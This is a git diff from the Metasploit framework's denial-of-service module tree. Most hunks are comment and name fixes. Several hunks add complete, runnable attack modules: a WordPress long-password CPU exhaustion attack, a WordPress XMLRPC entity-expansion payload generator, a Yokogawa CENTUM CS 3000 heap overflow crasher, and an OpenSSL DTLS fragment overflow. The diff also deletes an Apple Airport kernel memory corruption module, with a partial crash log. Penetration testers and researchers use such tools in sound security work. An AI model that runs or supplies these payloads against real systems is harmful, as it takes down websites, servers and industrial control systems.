b/modules/auxiliary/dos/http/rails_action_view.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/rails_json_float_dos.rb b/modules/auxiliary/dos/http/rails_json_float_dos.rb index 7a32e8b80e..40123ce208 100644 --- a/modules/auxiliary/dos/http/rails_json_float_dos.rb +++ b/modules/auxiliary/dos/http/rails_json_float_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb index 6172f845cb..e90f6bec2d 100644 --- a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb +++ b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index cce3a5a9aa..4329b358db 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb new file mode 100644 index 0000000000..0601abe005 --- /dev/null +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Long Password DoS', + 'Description' => %q{WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x + before 4.0.1 allows remote attackers to cause a denial of service + (CPU consumption) via a long password that is improperly handled + during hashing.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Javier Nieto Arevalo', # Vulnerability disclosure + 'Andres Rojas Guerrero', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034'], + ['OSVDB', '114857'], + ['WPVDB', '7681'] + ], + 'DisclosureDate' => 'Nov 20 2014' + )) + + register_options( + [ + OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]), + OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]), + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), + OptString.new('USERNAME', [true, 'The username to send the requests with', '']), + OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true]) + ], self.class) + end + + def rlimit + datastore['RLIMIT'] + end + + def plength + datastore['PLENGTH'] + end + + def username + datastore['USERNAME'] + end + + def validate_user + datastore['VALIDATE_USER'] + end + + def thread_count + datastore['THREADS'] + end + + def timeout + datastore['TIMEOUT'] + end + + def user_exists(user) + exists = wordpress_user_exists?(user) + if exists + print_good("#{peer} - Username \"#{username}\" is valid") + report_auth_info( + :host => rhost, + :sname => (ssl ? 'https' : 'http'), + :user => user, + :port => rport, + :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}" + ) + + return true + else + print_error("#{peer} - \"#{user}\" is not a valid username") + return false + end + end + + def run + if wordpress_and_online? + if validate_user + print_status("#{peer} - Checking if user \"#{username}\" exists...") + unless user_exists(username) + print_error('Aborting operation - a valid username must be specified') + return + end + end + + starting_thread = 1 + while starting_thread < rlimit do + ubound = [rlimit - (starting_thread - 1), thread_count].min + print_status("#{peer} - Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") + + threads = [] + 1.upto(ubound) do |i| + threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i| + begin + wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout) + rescue => e + print_error("#{peer} - Timed out during request #{(starting_thread - 1) + i}") + end + end + end + + threads.each(&:join) + print_good("#{peer} - Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") + starting_thread += ubound + end + + if wordpress_and_online? + print_error("#{peer} - FAILED: #{target_uri} appears to still be online") + else + print_good("#{peer} - SUCCESS: #{target_uri} appears to be down") + end + else + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") + end + end +end diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb new file mode 100644 index 0000000000..722a3d4092 --- /dev/null +++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress XMLRPC DoS', + 'Description' => %q{ + Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. + This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are + also patched). + }, + 'Author' => + [ + 'Nir Goldshlager', # advisory + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'], + ['URL', 'http://www.breaksec.com/?p=6362'], + ['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'], + ['URL', 'https://core.trac.wordpress.org/changeset/29404'], + ['WPVDB', '7526'] + ], + 'DisclosureDate'=> 'Aug 6 2014' + )) + + register_options( + [ + OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]), + OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8]) + ], self.class) + end + + def rlimit + datastore['RLIMIT'] + end + + def default_limit + datastore['DEFAULT_LIMIT'] + end + + def fingerprint_step + datastore['FINGERPRINT_STEP'] + end + + def fingerprint + memory_to_use = fingerprint_step + # try out the available memory in steps + # apache will return a server error if the limit is reached + while memory_to_use < 1024 + vprint_status("#{peer} - trying memory limit #{memory_to_use}MB") + opts = { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => generate_xml(memory_to_use), + 'ctype' =>'text/xml' + } + + begin + # low timeout because the server error is returned immediately + res = send_request_cgi(opts, timeout = 3) + rescue ::Rex::ConnectionError => exception + print_error("#{peer} - unable to connect: '#{exception.message}'") + break + end + + if res && res.code == 500 + # limit reached, return last limit + last_limit = memory_to_use - fingerprint_step + vprint_status("#{peer} - got an error - using limit #{last_limit}MB") + return last_limit + else + memory_to_use += fingerprint_step + end + end + + # no limit can be determined + print_warning("#{peer} - can not determine limit, will use default of #{default_limit}") + return default_limit + end + + def generate_xml(size) + entity = Rex::Text.rand_text_alpha(3) + doctype = Rex::Text.rand_text_alpha(6) + param_value_1 = Rex::Text.rand_text_alpha(5) + param_value_2 = Rex::Text.rand_text_alpha(5) + + size_bytes = size * 1024 + + # Wordpress only resolves one level of entities so we need + # to specify one long entity and reference it multiple times + xml = '<?xml version="1.0" encoding="iso-8859-1"?>' + xml << "<!DOCTYPE %{doctype} [" + xml << "<!ENTITY %{entity} \"%{entity_value}\">" + xml << ']>' + xml << '<methodCall>' + xml << '<methodName>' + xml << "%{payload}" + xml << '</methodName>' + xml << '<params>' + xml << "<param><value>%{param_value_1}</value></param>" + xml << "<param><value>%{param_value_2}</value></param>" + xml << '</params>' + xml << '</methodCall>' + + empty_xml = xml % { + :doctype => '', + :entity => '', + :entity_value => '', + :payload => '', + :param_value_1 => '', + :param_value_2 => '' + } + + space_to_fill = size_bytes - empty_xml.size + vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes") + + payload = "&#{entity};" * (space_to_fill / 6) + entity_value_length = space_to_fill - payload.length + + payload_xml = xml % { + :doctype => doctype, + :entity => entity, + :entity_value => Rex::Text.rand_text_alpha(entity_value_length), + :payload => payload, + :param_value_1 => param_value_1, + :param_value_2 => param_value_2 + } + + payload_xml + end + + def run + # get the max size + print_status("#{peer} - trying to fingerprint the maximum memory we could use") + size = fingerprint + print_status("#{peer} - using #{size}MB as memory limit") + + # only generate once + xml = generate_xml(size) + + for x in 1..rlimit + print_status("#{peer} - sending request ##{x}...") + opts = { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' + } + begin + c = connect + r = c.request_cgi(opts) + c.send_request(r) + # Don't wait for a response, can take very long + rescue ::Rex::ConnectionError => exception + print_error("#{peer} - unable to connect: '#{exception.message}'") + return + ensure + disconnect(c) if c + end + end + end +end diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb index be905b9aab..b17d1b2aff 100644 --- a/modules/auxiliary/dos/mdns/avahi_portzero.rb +++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,10 +12,10 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Avahi < 0.6.24 Source Port 0 DoS', + 'Name' => 'Avahi Source Port 0 DoS', 'Description' => %q{ Avahi-daemon versions prior to 0.6.24 can be DoS'd - with an mDNS packet with a source port of 0 + with an mDNS packet with a source port of 0. }, 'Author' => 'kris katterjohn', 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/dos/misc/dopewars.rb b/modules/auxiliary/dos/misc/dopewars.rb index 5d272da051..e21ccb27b4 100644 --- a/modules/auxiliary/dos/misc/dopewars.rb +++ b/modules/auxiliary/dos/misc/dopewars.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index 32c6c0ef6f..f434560054 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/misc/memcached.rb b/modules/auxiliary/dos/misc/memcached.rb index 45e9ba338b..f120cc3aa2 100644 --- a/modules/auxiliary/dos/misc/memcached.rb +++ b/modules/auxiliary/dos/misc/memcached.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb index c9b93192ca..73a64cd658 100644 --- a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb +++ b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb index 1d5e14808f..949a673013 100644 --- a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb +++ b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index 260824d8a3..3c6857deed 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index 7d125c8ab6..5fa563df2b 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 1d7a44fa41..9be9093920 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb index 3adb254965..e4aa509cd1 100644 --- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb +++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/scada/beckhoff_twincat.rb b/modules/auxiliary/dos/scada/beckhoff_twincat.rb index 46ae1c6edd..10cfb38841 100644 --- a/modules/auxiliary/dos/scada/beckhoff_twincat.rb +++ b/modules/auxiliary/dos/scada/beckhoff_twincat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb index 8a01246d10..76e35d1b59 100644 --- a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb +++ b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/scada/igss9_dataserver.rb b/modules/auxiliary/dos/scada/igss9_dataserver.rb index fb2b9bf2c6..a97481a1af 100644 --- a/modules/auxiliary/dos/scada/igss9_dataserver.rb +++ b/modules/auxiliary/dos/scada/igss9_dataserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb new file mode 100644 index 0000000000..4149967eaf --- /dev/null +++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb @@ -0,0 +1,76 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow', + 'Description' => %q{ + This module abuses a buffer overflow vulnerability to trigger a Denial of Service + of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability + exists in the handling of malformed log packets, with an unexpected long level field. + The root cause of the vulnerability is a combination of usage of uninitialized memory + from the stack and a dangerous string copy. This module has been tested successfully + on Yokogawa CENTUM CS 3000 R3.08.50. + }, + 'Author' => + [ + 'juan vazquez', + 'Redsadic <julian.vilas[at]gmail.com>' + ], + 'References' => + [ + [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ], + [ 'CVE', '2014-0781'] + ], + 'DisclosureDate' => 'Mar 10 2014', + )) + + register_options( + [ + Opt::RPORT(52302), + OptInt.new('RLIMIT', [true, "Number of packets to send", 10]) + ], self.class) + end + + def run + if datastore['RLIMIT'] < 2 + print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.") + return + end + + # Crash due to read bad memory + test = [1024].pack("V") # packet length + test << "AAAA" # Unknown + test << "SOURCE\x00\x00" # Source + test << "\x00" * 8 # Padding + test << "B" * (1024 - test.length) # Level & Message coalesced + + connect_udp + + # Sending two consecutives packages is enough to + # trigger the overflow and cause the DoS. But if + # legit packets are processed by the server, between + # the two malformed packages, overflow won't happen. + # Unfortunately because of the usage of UDP and the + # absence of answer, there isn't a reliable way to + # check if the DoS condition has been triggered. + print_status("Sending #{datastore['RLIMIT']} packets...") + (1..datastore['RLIMIT']).each do |i| + vprint_status("Sending #{i}/#{datastore['RLIMIT']}...") + udp_sock.put(test) + end + + disconnect_udp + end + +end diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index 2ead93b597..86fc52f7f2 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Sendmail SMTP Address prescan <= 8.12.8 Memory Corruption', + 'Name' => 'Sendmail SMTP Address prescan Memory Corruption', 'Description' => %q{ This is a proof of concept denial of service module for Sendmail versions 8.12.8 and earlier. The vulnerability is within the prescan() method when diff --git a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb index 5c929eb7e2..4d114e2dab 100644 --- a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb +++ b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb index 67f434b839..2dddf9a25f 100644 --- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb +++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS', + 'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS', 'Description' => %q{ This module performs a Denial of Service Attack against Datagram TLS in OpenSSL version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb new file mode 100644 index 0000000000..78ad298e42 --- /dev/null +++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Dos + include Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS', + 'Description' => %q{ + This module performs a Denial of Service Attack against Datagram TLS in + OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h. + This occurs when a DTLS ClientHello message has multiple fragments and the + fragment lengths of later fragments are larger than that of the first, a + buffer overflow occurs, causing a DoS. + }, + 'Author' => + [ + 'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery + 'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-0195'], + ['ZDI', '14-173'], + ['BID', '67900'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048'] + ], + 'DisclosureDate' => 'Jun 05 2014')) + + register_options([ + Opt::RPORT(4433), + OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF]) + ], self.class) + + end + + def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil) + # format is: type (1 byte), total length (3 bytes), sequence # (2 bytes), + # fragment offset (3 bytes), fragment length (3 bytes), fragment body + sol = (seq << 48) | (frag_offset << 24) | frag_length + [ + (type << 24) | length, + (sol >> 32), + (sol & 0x00000000FFFFFFFF) + ].pack("NNN") + frag_body + end + + def build_tls_message(type, version, epoch, sequence, message) + # format is: type (1 byte), version (2 bytes), epoch # (2 bytes), + # sequence # (6 bytes) + message length (2 bytes), message body + es = (epoch << 48) | sequence + [ + type, + version, + (es >> 32), + (es & 0x00000000FFFFFFFF), + message.length + ].pack("CnNNn") + message + end + + def run + # add a small fragment + fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C') + # add a large fragment where the length is significantly larger than that of the first + # TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations + fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234)) + message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments) + connect_udp + print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet") + udp_sock.put(message) + disconnect_udp + end +end diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index a49ecd72c7..85588e2ade 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb index 8453d8f201..c9704300cb 100644 --- a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb +++ b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb index 5118638174..a44a526850 100644 --- a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb +++ b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,9 +10,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Dos - # The whole point is to cause a router crash. - Rank = ManualRanking - def initialize super( 'Name' => 'Juniper JunOS Malformed TCP Option', diff --git a/modules/auxiliary/dos/tcp/synflood.rb b/modules/auxiliary/dos/tcp/synflood.rb index 82566d8676..c0651e4a6c 100644 --- a/modules/auxiliary/dos/tcp/synflood.rb +++ b/modules/auxiliary/dos/tcp/synflood.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb index 46df4650cd..cee1464fe9 100644 --- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb +++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb b/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb deleted file mode 100644 index ee34dcef12..0000000000 --- a/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb +++ /dev/null @@ -1,162 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apple Airport 802.11 Probe Response Kernel Memory Corruption', - 'Description' => %q{ - The Apple Airport driver provided with Orinoco-based Airport cards (1999-2003 PowerBooks, iMacs) - is vulnerable to a remote memory corruption flaw. When the driver is placed into active scanning - mode, a malformed probe response frame can be used to corrupt internal kernel structures, leading - to arbitrary code execution. This vulnerability is triggered when a probe response frame is received - that does not contain valid information element (IE) fields after the fixed-length header. The data - following the fixed-length header is copied over internal kernel structures, resulting in memory - operations being performed on attacker-controlled pointer values. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-5710'], - ['OSVDB', '30180'], - ] - )) - register_options( - [ - OptInt.new('COUNT', [ true, "The number of frames to send", 2000]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system"]) - ], self.class) - end - - # - # This bug is easiest to trigger when the card has been placed into active scan mode: - # $ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s -r 10000 - # - - def run - open_wifi - - cnt = datastore['COUNT'].to_i - - print_status("Creating malicious probe response frame...") - frame = create_frame() - - print_status("Sending #{cnt} frames...") - cnt.times { wifi.write(frame) } - end - - def create_frame - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - caps = [rand(65535)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - Rex::Text.rand_text(2) + # beacon interval - Rex::Text.rand_text(2) # capabilities - - frame << [0x0defaced].pack('N') * ((1024-frame.length) / 4) - - return frame - - end -end - -=begin - -Tested on a 1.0Ghz PowerBook running 10.4.8 with the latest updates (Halloween, 2006) - -Unresolved kernel trap(cpu 0): 0x300 - Data access DAR=0x000000000DEFACF7 PC=0x00000000007A2260 -Latest crash info for cpu 0: - Exception state (sv=0x3AA12A00) - PC=0x007A2260; MSR=0x00009030; DAR=0x0DEFACF7; DSISR=0x40000000; LR=0x007A1D48; R1=0x17443B60; XCP=0x0000000C (0x300 - Data access) - Backtrace: 0x01BC80AC 0x007A1D48 0x0079FA54 0x0079FF94 0x0079FEBC 0x002D0B94 0x002CFA5C 0x000A9314 - Kernel loadable modules in backtrace (with dependencies): - com.apple.driver.AppleAirPort(3.4.4)@0x797000 - dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x5f8000 -Proceeding back via exception chain: - Exception state (sv=0x3AA12A00) - previously dumped as "Latest" state. skipping... - Exception state (sv=0x31F13A00) - PC=0x00000000; MSR=0x0000D030; DAR=0x00000000; DSISR=0x00000000; LR=0x00000000; R1=0x00000000; XCP=0x00000000 (Unknown) - -Kernel version: -Darwin Kernel Version 8.8.0: Fri Sep 8 17:18:57 PDT 2006; root:xnu-792.12.6.obj~1/RELEASE_PPC - - - -(gdb) showcurrentstacks -task vm_map ipc_space #acts pid proc command -0x01a73dd8 0x00cdaf3c 0x01a68ef0 38 0 0x003fb200 kernel_task -activation thread pri state wait_queue wait_event -0x01a7c000 0x01a7c000 82 R -reserved_stack=0x173b0000 -kernel_stack=0x17440000 -stacktop=0x17443b60 -0x17443b60 0x1bc80ac -0x17443be0 0x7a1d48 <com.apple.driver.AppleAirPort + 0xad48> -0x17443c60 